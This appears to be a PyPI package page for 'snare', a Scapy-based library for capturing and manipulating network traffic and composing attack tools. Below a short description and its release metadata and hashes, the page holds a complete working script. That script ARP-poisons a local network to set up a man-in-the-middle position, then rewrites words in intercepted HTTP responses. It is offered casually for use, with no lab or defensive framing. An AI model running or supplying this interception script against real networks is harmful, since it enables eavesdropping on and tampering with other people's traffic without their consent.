Network capture and manipulation module
Project description
Capture and manipulate traffic off the network
Snare provides a Sniffer class and a few “modules” which can be assembled to form attack tools. These classes are based on Scapy and provide a convenient way to interact with and compose tools from it’s functionality.
The advanced functions such as ARP poisoning, packet forwarding, and analysis are decomposed into modules to allow for greater flexibility and flexibility. Look at the constructed strategies for examples of how to compose the modules.
Docs are hosted on Read the Docs
Example
Suppose you hate the string “search” and you want to MitM your local network, replacing all instances of the word in HTTP responses with the word “replace”. Well the following script will do that for you!
import scapy.all as scapy
import snare
# Hello
@snare.tcpfilter
def inject(pkt):
if all(layer in pkt for layer in (scapy.IP, scapy.TCP)):
if scapy.Raw in pkt and pkt[scapy.TCP].sport == 80:
s = b"search"
r = b"replacement"
raw = pkt[scapy.Raw]
if s in raw.load:
raw.load = raw.load.replace(s, r)
print(pkt.show())
return pkt
sniffer = snare.Sniffer(
iface="eth0",
modules=[snare.ArpMitmModule(filter=inject)]
)
sniffer.start()
input("Starting injection attack. Press enter to quit.")
sniffer.stop()
Development
Testing
Tests are written in pytest and can be run with the pytest command.
Documentation
Documentation can be built with Sphinx from the docs folder by running make html, or another target.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
File details
Details for the file snare-0.2.8.tar.gz
.
File metadata
- Download URL: snare-0.2.8.tar.gz
- Upload date:
- Size: 15.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.1 CPython/3.9.13
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 58609f5d417bc60de2e4b42f5dc5ec1114ccf48c2f453d88bc085f91a964833b |
|
MD5 | cda3cccfaf94c89ce31c1b8450af6ab7 |
|
BLAKE2b-256 | d66eaa91856d8b234160d3fcefdc56162762c1535908d39a143176fed117ea76 |
File details
Details for the file snare-0.2.8-py3-none-any.whl
.
File metadata
- Download URL: snare-0.2.8-py3-none-any.whl
- Upload date:
- Size: 17.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.1 CPython/3.9.13
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | eb6a38f51ce5d2eb66a660373935a4e57cf851b18265991490f06f357b1a6697 |
|
MD5 | 39418c3a05e1609e241d8d8192a61412 |
|
BLAKE2b-256 | baa231286f34b7700d7161bd0ba265d454dc0e471c484fd3e819712246f4f0cc |